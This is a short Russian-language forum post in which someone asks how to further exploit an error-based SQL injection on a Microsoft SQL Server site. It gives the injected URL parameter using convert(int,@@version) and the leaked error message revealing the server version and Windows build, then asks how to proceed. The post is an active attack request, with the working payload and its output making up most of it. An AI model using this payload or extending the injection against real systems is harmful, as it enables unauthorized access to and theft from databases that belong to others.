Помогите раскрутить такую скулю на mssql

id=15&type='+convert(int,@@version)+'

выводит:

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

Как дальше крутитЬ?